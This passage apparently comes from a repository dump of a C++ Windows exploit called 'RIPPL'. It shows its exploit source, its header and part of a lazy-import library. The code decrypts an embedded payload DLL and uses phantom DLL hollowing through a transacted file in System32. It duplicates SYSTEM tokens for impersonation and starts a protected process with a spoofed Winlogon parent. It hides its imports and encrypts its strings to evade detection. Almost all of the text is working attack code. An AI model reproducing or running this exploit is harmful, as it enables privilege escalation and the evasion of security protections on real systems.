INVALID_FILE_SIZE && dwFileSize > dwMinSize)\n\t\t\t\t{\n\t\t\t\t\tif (GetSecurityInfo(hFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, &pSidOwner, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (TokenCompareSids(pSidOwner, pSidTarget))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t*ppwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\t\t\t\t\t\t\tif (*ppwszFilePath)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tStringCchPrintfW(*ppwszFilePath, MAX_PATH, skCrypt(L\"%ws\"), wszFilePath);\n\t\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tCloseHandle(hFile);\n\t\t\t}\n\n\t\t} while (FindNextFileW(hFind, &wfd) && !bReturnValue);\n\n\t\tFindClose(hFind);\n\t}\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile)\n{\n\t//\n\t// This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr\n\t// in this blog post: Masking Malicious Memory Artifacts  Part I: Phantom DLL Hollowing\n\t// https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing\n\t// This trick is awesome! :)\n\t//\n\t// Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file\n\t// as a transaction operation. Then, we replace the content of the DLL with our own. To so, we\n\t// search for an existing DLL file in C:\\Windows\\System32. We assume we are executing this code\n\t// as SYSTEM but still, this is not sufficient as we need to open the target file with write \n\t// access even though the file will not be modified. As most of the files are owned by Trusted-\n\t// Installer, we need to find one which is owned by SYSTEM and also make sure that it is big\n\t// enough so that we can copy our own DLL.\n\t//\n\t// Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular\n\t// file. But hey, this works just fine. ;)\n\t//\n\n\tBOOL bReturnValue = FALSE;\n\n\tHRSRC hResource = NULL;\n\tHGLOBAL hResourceData = NULL;\n\tDWORD dwResourceSize = 0;\n\tLPVOID lpData = NULL;\n\n\tLPWSTR pwszTargetFile = NULL;\n\n\tNTSTATUS status = 0;\n\tOBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };\n\tHANDLE hTransaction = NULL;\n\tHANDLE hTransactedFile = NULL;\n\n\tDWORD dwBytesWritten = 0;\n\tBYTE key[] = AESKEY;\n\tBYTE iv[] = IV;\n\n\tif (hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA))\n\t{\n\t\tdwResourceSize = LI_FN(SizeofResource)(nullptr, hResource);\n\n\t\tif (hResourceData = LI_FN(LoadResource)(nullptr, hResource))\n\t\t{\n\t\t\tlpData = LI_FN(LockResource)(hResourceData);\n\t\t}\n\t}\n\n\tif (!lpData || !dwResourceSize)\n\t\treturn FALSE;\n\n\tPRINTDEBUG(L\"Loaded payload DLL, image size: %d bytes\\n\", dwResourceSize);\n\n\tauto lpDecryptedDll = LI_FN(VirtualAlloc)(nullptr, dwResourceSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n\tif (lpDecryptedDll)\n\t{\n\t\tRtlMoveMemory(lpDecryptedDll, lpData, dwResourceSize);\n\t\tif (!AESDecrypt((BYTE*)lpDecryptedDll, dwResourceSize, key, sizeof(key), iv, sizeof(iv))) return FALSE;\n\t}\n\telse return FALSE;\n\n\t//\n\t// Find a legtimate DLL file to \"hollow\". It must not be owned by TrustedInstaller and it must\n\t// be big enough so that we can copy our payload into the transacted file.\n\t//\n\tif (!FindFileForTransaction(dwResourceSize, &pwszTargetFile))\n\t\treturn FALSE;\n\n\tPRINTDEBUG(L\"Found file for transaction: %ws\\n\", pwszTargetFile);\n\n\tstatus = LI_FN(NtCreateTransaction)(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, nullptr, nullptr, 0, 0, 0, nullptr, nullptr);\n\tif (status != 0)\n\t{\n\t\tSetLastError(LI_FN(RtlNtStatusToDosError)(status));\n\t\tPRINTLASTERROR(L\"NtCreateTransaction\");\n\t\tgoto end;\n\t}\n\n\t//\n\t// Open a legitimate DLL file as a transaction operation.\n\t//\n\thTransactedFile = LI_FN(CreateFileTransactedW)(pwszTargetFile, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr, hTransaction, nullptr, nullptr);\n\tif (hTransactedFile == INVALID_HANDLE_VALUE)\n\t{\n\t\tPRINTLASTERROR(L\"CreateFileTransacted\");\n\t\tgoto end;\n\t}\n\n\tPRINTDEBUG(L\"Opened file '%ws' for transaction.\\n\", pwszTargetFile);\n\n\t//\n\t// Replace the content of the legitimate file with our own DLL payload. It's important to note\n\t// that the file on disk is not altered.\n\t//\n\tif (!LI_FN(WriteFile)(hTransactedFile, lpDecryptedDll, dwResourceSize, &dwBytesWritten, nullptr))\n\t{\n\t\tPRINTLASTERROR(L\"WriteFile\");\n\t\tgoto end;\n\t}\n\n\tPRINTDEBUG(L\"Wrote %d bytes of embedded payload DLL to transacted file.\\n\", dwBytesWritten, pwszTargetFile);\n\n\t*pdhFile = hTransactedFile;\n\tbReturnValue = TRUE;\n\nend:\n\tif (pwszTargetFile)\n\t\tLocalFree(pwszTargetFile);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tPSID pTargetSid = NULL;\n\tPVOID pBuffer = NULL;\n\tPSYSTEM_PROCESS_INFORMATION pProcInfo = NULL;\n\tHANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL;\n\tDWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0;\n\tPSID pSidTmp = NULL;\n\tNTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;\n\n\tLPWSTR pwszUsername = NULL;\n\n\tif (!ConvertStringSidToSidW(pwszTargetSid, &pTargetSid))\n\t\tgoto end;\n\n\twhile (TRUE)\n\t{\n\t\tpBuffer = LocalAlloc(LPTR, dwBufSize);\n\t\tif (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH)\n\t\t\tbreak;\n\n\t\tstatus = LI_FN(NtQuerySystemInformation)((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen);\n\t\tif (NT_SUCCESS(status))\n\t\t{\n\t\t\tpProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;\n\t\t\twhile (TRUE) {\n\t\t\t\tif (hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId)))\n\t\t\t\t{\n\t\t\t\t\tif (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))\n\t\t\t\t\t{\n\t\t\t\t\t\tif (LI_FN(DuplicateTokenEx)(hToken, MAXIMUM_ALLOWED, nullptr, SecurityImpersonation, TokenImpersonation, &hTokenDup))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (TokenCompareSids(pSidTmp, pTargetSid))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPRINTDEBUG(L\"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\\n\", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tBOOL bTokenIsNotRestricted = FALSE;\n\t\t\t\t\t\t\t\t\tTokenIsNotRestricted(hTokenDup, &bTokenIsNotRestricted);\n\n\t\t\t\t\t\t\t\t\tif (bTokenIsNotRestricted)\n\t\t\t\t\t\t\t\t\t\tPRINTDEBUG(L\"This token is not restricted.\\n\");\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tPRINTDEBUG(L\"This token is restricted.\\n\");\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif (bTokenIsNotRestricted)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (pwszPrivileges && dwPrivilegeCount != 0)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tDWORD dwPrivilegeFound = 0;\n\t\t\t\t\t\t\t\t\t\t\tfor (DWORD i = 0; i < dwPrivilegeCount; i++)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif (TokenCheckPrivilege(hTokenDup, pwszPrivileges[i], FALSE))\n\t\t\t\t\t\t\t\t\t\t\t\t\tdwPrivilegeFound++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\tPRINTDEBUG(L\"Found %d/%d required privileges in token.\\n\", dwPrivilegeFound, dwPrivilegeCount);\n\n\t\t\t\t\t\t\t\t\t\t\tif (dwPrivilegeFound == dwPrivilegeCount)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tPRINTDEBUG(L\"Found a valid Token candidate.\\n\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t*phToken = hTokenDup;\n\t\t\t\t\t\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tPRINTDEBUG(L\"Found a valid Token.\\n\");\n\n\t\t\t\t\t\t\t\t\t\t\t*phToken = hTokenDup;\n\t\t\t\t\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tLocalFree(pSidTmp);\n\t\t\t\t\t\t\t\tLocalFree(pwszUsername);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!bReturnValue)\n\t\t\t\t\t\t\t\tCloseHandle(hTokenDup);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tCloseHandle(hToken);\n\t\t\t\t\t}\n\t\t\t\t\tCloseHandle(hProcess);\n\t\t\t\t}\n\n\t\t\t\t// If we found a valid token, stop\n\t\t\t\tif (bReturnValue)\n\t\t\t\t\tbreak;\n\n\t\t\t\t// If next entry is null, stop\n\t\t\t\tif (!pProcInfo->NextEntryOffset)\n\t\t\t\t\tbreak;\n\n\t\t\t\t// Increment SYSTEM_PROCESS_INFORMATION pointer\n\t\t\t\tpProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset);\n\t\t\t}\n\t\t}\n\n\t\tLocalFree(pBuffer);\n\t\tdwBufSize <<= 1;\n\t}\n\nend:\n\tif (pTargetSid)\n\t\tLocalFree(pTargetSid);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL Impersonate(_In_ HANDLE hToken)\n{\n\tHANDLE hThread = LI_FN(GetCurrentThread)(); // Pseudo handle, does not need to be closed\n\n\tif (!SetThreadToken(&hThread, hToken))\n\t{\n\t\tPRINTLASTERROR(L\"SetThreadToken\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\n_Success_(return)\nBOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hCurrentProcessToken = NULL;\n\tHANDLE hToken = NULL;\n\tHANDLE hCurrentThread = NULL;\n\n\tif (!OpenProcessToken(LI_FN(GetCurrentProcess)(), MAXIMUM_ALLOWED, &hCurrentProcessToken))\n\t{\n\t\tPRINTLASTERROR(L\"OpenProcessToken\");\n\t\tgoto end;\n\t}\n\n\tif (!TokenCheckPrivilege(hCurrentProcessToken, skCrypt(L\"SeDebugPrivilege\"), TRUE))\n\t\tgoto end;\n\n\tif (!TokenCheckPrivilege(hCurrentProcessToken, skCrypt(L\"SeImpersonatePrivilege\"), TRUE))\n\t\tgoto end;\n\n\tif (!FindProcessTokenAndDuplicate(pwszSid, &hToken, pwszPrivileges, dwPrivilegeCount))\n\t\tgoto end;\n\n\tif (!Impersonate(hToken))\n\t\tgoto end;\n\n\t*phToken = hToken;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hCurrentProcessToken)\n\t\tCloseHandle(hCurrentProcessToken);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken)\n{\n\tauto seDebug = skCrypt(L\"SeDebugPrivilege\");\n\tauto seAssign = skCrypt(L\"SeAssignPrimaryTokenPrivilege\");\n\tLPCWSTR pwszPrivileges[2] = { seDebug, seAssign };\n\n\treturn ImpersonateUser(skCrypt(L\"S-1-5-18\"), phSystemToken, pwszPrivileges, sizeof(pwszPrivileges) / sizeof(*pwszPrivileges));\n}\n\n_Success_(return)\nBOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken)\n{\n\treturn ImpersonateUser(skCrypt(L\"S-1-5-19\"), phLocalServiceToken, NULL, 0);\n}\n\n_Success_(return)\nBOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tNTSTATUS status = 0;\n\tLPWSTR pwszLinkName = NULL;\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING name = { 0 };\n\tUNICODE_STRING target = { 0 };\n\tLPWSTR pwszTargetLocal = NULL;\n\tHANDLE hLink = NULL;\n\tULONG length = 0;\n\n\tpwszLinkName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\tif (!pwszLinkName)\n\t\tgoto end;\n\n\tpwszTargetLocal = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\tif (!pwszTargetLocal)\n\t\tgoto end;\n\n\tStringCchPrintfW(pwszLinkName, MAX_PATH, skCrypt(L\"\\\\KnownDlls\\\\%ws\"), pwszDllName);\n\n\tLI_FN(RtlInitUnicodeString)(&name, pwszLinkName);\n\tInitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\tstatus = LI_FN(NtOpenSymbolicLinkObject)(&hLink, SYMBOLIC_LINK_QUERY, &oa);\n\tSetLastError(LI_FN(RtlNtStatusToDosError)(status));\n\tif (status != 0)\n\t{\n\t\tPRINTLASTERROR(L\"NtOpenSymbolicLinkObject\");\n\t\tgoto end;\n\t}\n\n\ttarget.Buffer = pwszTargetLocal;\n\ttarget.Length = 0;\n\ttarget.MaximumLength = MAX_PATH * sizeof(WCHAR);\n\n\tstatus = LI_FN(NtQuerySymbolicLinkObject)(hLink, &target, &length);\n\tSetLastError(LI_FN(RtlNtStatusToDosError)(status));\n\tif (status != 0)\n\t{\n\t\tPRINTLASTERROR(L\"NtQuerySymbolicLinkObject\");\n\t\tgoto end;\n\t}\n\n\tbReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0;\n\nend:\n\tif (pwszLinkName)\n\t\tLocalFree(pwszLinkName);\n\tif (pwszTargetLocal)\n\t\tLocalFree(pwszTargetLocal);\n\tif (hLink)\n\t\tCloseHandle(hLink);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING sectionName = { 0 };\n\tNTSTATUS status = 0;\n\tHANDLE hSection = NULL;\n\n\tHANDLE hDllTransacted = NULL;\n\n\tif (!WritePayloadDllTransacted(&hDllTransacted))\n\t\tgoto end;\n\n\tLI_FN(RtlInitUnicodeString)(&sectionName, pwszSectionName);\n\tInitializeObjectAttributes(&oa, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\t//\n\t// According to the documentation, the SEC_IMAGE attribute must be combined with the page \n\t// protection value PAGE_READONLY. But the page protection has actually no effect because the \n\t// page protection is determined by the executable file itself.\n\t// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga\n\t//\n\tstatus = LI_FN(NtCreateSection)(&hSection, SECTION_ALL_ACCESS, &oa, nullptr, PAGE_READONLY, SEC_IMAGE, hDllTransacted);\n\tif (status != STATUS_SUCCESS)\n\t{\n\t\tSetLastError(LI_FN(RtlNtStatusToDosError)(status));\n\t\tPRINTLASTERROR(L\"NtCreateSection\");\n\t\tgoto end;\n\t}\n\n\t*phSection = hSection;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hDllTransacted)\n\t\tCloseHandle(hDllTransacted);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL UnmapDll(_In_ HANDLE hSection)\n{\n\tNTSTATUS status = 0;\n\n\tstatus = LI_FN(NtClose)(hSection);\n\tif (status != STATUS_SUCCESS)\n\t{\n\t\tSetLastError(LI_FN(RtlNtStatusToDosError)(status));\n\t\tPRINTLASTERROR(L\"NtClose\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\n_Success_(return)\nBOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _In_ int intMode, _Out_ LPWSTR* ppwszCommandLine)\n{\n\tauto pplBinary = skCrypt(L\"services.exe\").decrypt();\n\tBOOL bReturnValue = FALSE;\n\n\tconst size_t size = 32767;\n\tLPWSTR pwszSystemDirectory = NULL;\n\n\t*ppwszCommandLine = (LPWSTR)LocalAlloc(LPTR, size * sizeof(WCHAR));\n\tif (!*ppwszCommandLine)\n\t\tgoto end;\n\n\tpwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\tif (!pwszSystemDirectory)\n\t\tgoto end;\n\n\tGetSystemDirectory(pwszSystemDirectory, MAX_PATH);\n\n\tStringCchPrintfW(*ppwszCommandLine, size, skCrypt(L\"%ws\\\\%ws %d %d %d \\\"%ws\\\" %ws\"), pwszSystemDirectory, pplBinary, LI_FN(GetCurrentProcessId)(), dwProcessId, g_intExecutionMode, pwszFilePath, pwszRandomGuid);\n\n\tif (g_bDebug)\n\t\tStringCchCatW(*ppwszCommandLine, size, skCrypt(L\" -d\"));\n\n\tbReturnValue = TRUE;\n\nend:\n\tif (pwszSystemDirectory)\n\t\tLocalFree(pwszSystemDirectory);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess)\n{\n\tSTARTUPINFOEXW si = { 0 };\n\tPROCESS_INFORMATION pi = { 0 };\n\tSIZE_T attributeSize = 0;\n\tHANDLE hProcess = NULL;\n\tHANDLE parentProcessHandle;\n\tDWORD winlogonPid = 0;\n\n\tZeroMemory(&si, sizeof(STARTUPINFOEXW));\n\tsi.StartupInfo.cb = sizeof(si);\n\tif (!ProcessGetPIDFromName(skCrypt(L\"Winlogon.exe\"), &winlogonPid))\n\t{\n\t\tPRINTLASTERROR(L\"ProcessGetPIDFromName\");\n\t\treturn false;\n\t}\n\telse PRINTDEBUG(L\"[*] Found Winlogon.exe process with PID %d\\n\", winlogonPid);\n\n\tparentProcessHandle = LI_FN(OpenProcess)(MAXIMUM_ALLOWED, FALSE, winlogonPid);\n\tif (!parentProcessHandle)\n\t{\n\t\tPRINTLASTERROR(L\"OpenProcess in CreateProtectedProcessAsUser\");\n\t\treturn false;\n\t}\n\n\tInitializeProcThreadAttributeList(nullptr, 1, 0, &attributeSize);\n\tsi.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);\n\tif (!si.lpAttributeList)\n\t{\n\t\tPRINTLASTERROR(L\"HeapAlloc in CreateProtectedProcessAsUser\");\n\t\treturn false;\n\t}\n\n\tInitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);\n\tUpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), nullptr, nullptr);\n\n\tif (!LI_FN(CreateProcessAsUserW)(hToken, nullptr, pwszCommandLine, nullptr, nullptr, TRUE, CREATE_PROTECTED_PROCESS | EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, &si.StartupInfo, &pi))\n\t{\n\t\tPRINTLASTERROR(L\"CreateProcessAsUser\");\n\t\treturn FALSE;\n\t}\n\n\tif (pi.hProcess && pi.hThread)\n\t{\n\t\t*phProcess = pi.hProcess;\n\t\tCloseHandle(pi.hThread);\n\t\treturn TRUE;\n\t}\n\telse return FALSE;\n}"
  },
  {
    "path": "RIPPL/exploit.h",
    "content": "#pragma once\n\n#include \"utils.h\"\n#include \"resource.h\"\n\n#include <versionhelpers.h>\n\n#ifndef STATUS_INFO_LENGTH_MISMATCH\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)\n#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x40\n#endif\n\nextern BOOL g_bDebug;\nextern BOOL g_bForce;\n\n_Success_(return) BOOL RunExploit(_In_ DWORD dwProcessId);\n_Success_(return) BOOL CheckRequirements();\n_Success_(return) BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult);\n_Success_(return) BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName);\n_Success_(return) BOOL GetPayloadDll(_Out_ LPVOID* ppBuffer, _Out_ PDWORD pdwSize);\n_Success_(return) BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath);\n_Success_(return) BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile);\n_Success_(return) BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount);\n_Success_(return) BOOL Impersonate(_In_ HANDLE hToken);\n_Success_(return) BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount);\n_Success_(return) BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken);\n_Success_(return) BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken);\n_Success_(return) BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget);\n_Success_(return) BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection);\n_Success_(return) BOOL UnmapDll(_In_ HANDLE hSection);\n_Success_(return) BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _In_ int intMode, _Out_ LPWSTR* ppwszCommandLine);\n_Success_(return) BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess);\n"
  },
  {
    "path": "RIPPL/lazy_importer.hpp",
    "content": "#pragma once\n\n#ifndef LAZY_IMPORTER_HPP\n#define LAZY_IMPORTER_HPP\n\n\n#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()\n\n#define LI_FN_DEF(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), name>()\n\n#define LI_MODULE(name) ::li::detail::lazy_module<LAZY_IMPORTER_KHASH(name)>()\n\n#ifndef LAZY_IMPORTER_CPP_FORWARD\n#ifdef LAZY_IMPORTER_NO_CPP_FORWARD\n#define LAZY_IMPORTER_CPP_FORWARD(t, v) v\n#else\n#include <utility>\n#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )\n#endif\n#endif\n\n#include <intrin.h>\n\n#ifndef LAZY_IMPORTER_NO_FORCEINLINE\n#if defined(_MSC_VER)\n#define LAZY_IMPORTER_FORCEINLINE __forceinline\n#elif defined(__GNUC__) && __GNUC__ > 3\n#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))\n#else\n#define LAZY_IMPORTER_FORCEINLINE inline\n#endif\n#else\n#define LAZY_IMPORTER_FORCEINLINE inline\n#endif\n\n\n#ifdef LAZY_IMPORTER_CASE_INSENSITIVE\n#define LAZY_IMPORTER_CASE_SENSITIVITY false\n#else\n#define LAZY_IMPORTER_CASE_SENSITIVITY true\n#endif\n\n#define LAZY_IMPORTER_STRINGIZE(x) #x\n#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)\n\n#define LAZY_IMPORTER_KHASH(str) ::li::detail::khash(str, \\\n    ::li::detail::khash_impl( __TIME__ __DATE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) LAZY_IMPORTER_STRINGIZE_EXPAND(__COUNTER__), 2166136261 ))\n\nnamespace li {\n    namespace detail {\n\n        namespace win {\n\n            struct LIST_ENTRY_T {\n                const char* Flink;\n                const char* Blink;\n            };\n\n            struct UNICODE_STRING_T {\n                unsigned short Length;\n                unsigned short MaximumLength;\n                wchar_t* Buffer;\n            };\n\n            struct PEB_LDR_DATA_T {\n                unsigned long Length;\n                unsigned long Initialized;\n                const char* SsHandle;\n                LIST_ENTRY_T  InLoadOrderModuleList;\n            };\n\n            struct PEB_T {\n                unsigned char   Reserved1[2];\n                unsigned char   BeingDebugged;\n                unsigned char   Reserved2[1];\n                const char* Reserved3[2];\n                PEB_LDR_DATA_T* Ldr;\n            };\n\n            struct LDR_DATA_TABLE_ENTRY_T {\n                LIST_ENTRY_T InLoadOrderLinks;\n                LIST_ENTRY_T InMemoryOrderLinks;\n                LIST_ENTRY_T InInitializationOrderLinks;\n                const char* DllBase;\n                const char* EntryPoint;\n                union {\n                    unsigned long SizeOfImage;\n                    const char* _dummy;\n                };\n                UNICODE_STRING_T FullDllName;\n                UNICODE_STRING_T BaseDllName;\n\n                LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*\n                    load_order_next() const noexcept\n                {\n                    return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(\n                        InLoadOrderLinks.Flink);\n                }\n            };\n\n            struct IMAGE_DOS_HEADER { // DOS .EXE header\n                unsigned short e_magic; // Magic number\n                unsigned short e_cblp; // Bytes on last page of file\n                unsigned short e_cp; // Pages in file\n                unsigned short e_crlc; // Relocations\n                unsigned short e_cparhdr; // Size of header in paragraphs\n                unsigned short e_minalloc; // Minimum extra paragraphs needed\n                unsigned short e_maxalloc; // Maximum extra paragraphs needed\n                unsigned short e_ss; // Initial (relative) SS value\n                unsigned short e_sp; // Initial SP value\n                unsigned short e_csum; // Checksum\n                unsigned short e_ip; // Initial IP value\n                unsigned short e_cs; // Initial (relative) CS value\n                unsigned short e_lfarlc; // File address of relocation table\n                unsigned short e_ovno; // Overlay number\n                unsigned short e_res[4]; // Reserved words\n                unsigned short e_oemid; // OEM identifier (for e_oeminfo)\n                unsigned short e_oeminfo; // OEM information; e_oemid specific\n                unsigned short e_res2[10]; // Reserved words\n                long           e_lfanew; // File address of new exe header\n            };\n\n            struct IMAGE_FILE_HEADER {\n                unsigned short Machine;\n                unsigned short NumberOfSections;\n                unsigned long  TimeDateStamp;\n                unsigned long  PointerToSymbolTable;\n                unsigned long  NumberOfSymbols;\n                unsigned short SizeOfOptionalHeader;\n                unsigned short Characteristics;\n            };\n\n            struct IMAGE_EXPORT_DIRECTORY {\n                unsigned long  Characteristics;\n                unsigned long  TimeDateStamp;\n                unsigned short MajorVersion;\n                unsigned short MinorVersion;\n                unsigned long  Name;\n                unsigned long  Base;\n                unsigned long  NumberOfFunctions;\n                unsigned long  NumberOfNames;\n                unsigned long  AddressOfFunctions; // RVA from base of image\n                unsigned long  AddressOfNames; // RVA from base of image\n                unsigned long  AddressOfNameOrdinals; // RVA from base of image\n            };\n\n            struct IMAGE_DATA_DIRECTORY {\n                unsigned long VirtualAddress;\n                unsigned long Size;\n            };\n\n            struct IMAGE_OPTIONAL_HEADER64 {\n                unsigned short       Magic;\n                unsigned char        MajorLinkerVersion;\n                unsigned char        MinorLinkerVersion;\n                unsigned long        SizeOfCode;\n                unsigned long        SizeOfInitializedData;\n                unsigned long        SizeOfUninitializedData;\n                unsigned long        AddressOfEntryPoint;\n                unsigned long        BaseOfCode;\n                unsigned long long   ImageBase;\n                unsigned long        SectionAlignment;\n                unsigned long        FileAlignment;\n                unsigned short       MajorOperatingSystemVersion;\n                unsigned short       MinorOperatingSystemVersion;\n                unsigned short       MajorImageVersion;\n                unsigned short       MinorImageVersion;\n                unsigned short       MajorSubsystemVersion;\n                unsigned short       MinorSubsystemVersion;\n                unsigned long        Win32VersionValue;\n                unsigned long        SizeOfImage;\n                unsigned long        SizeOfHeaders;\n                unsigned long        CheckSum;\n                unsigned short     